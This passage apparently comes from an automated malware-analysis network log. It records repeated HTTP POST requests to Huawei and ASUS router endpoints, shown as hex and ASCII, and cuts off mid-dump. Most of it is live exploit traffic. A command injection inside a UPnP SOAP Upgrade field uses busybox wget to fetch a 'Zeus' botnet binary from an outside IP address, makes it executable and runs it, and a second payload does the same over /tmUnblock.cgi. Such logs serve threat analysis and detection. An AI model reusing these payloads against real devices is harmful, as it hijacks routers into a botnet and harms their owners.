75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 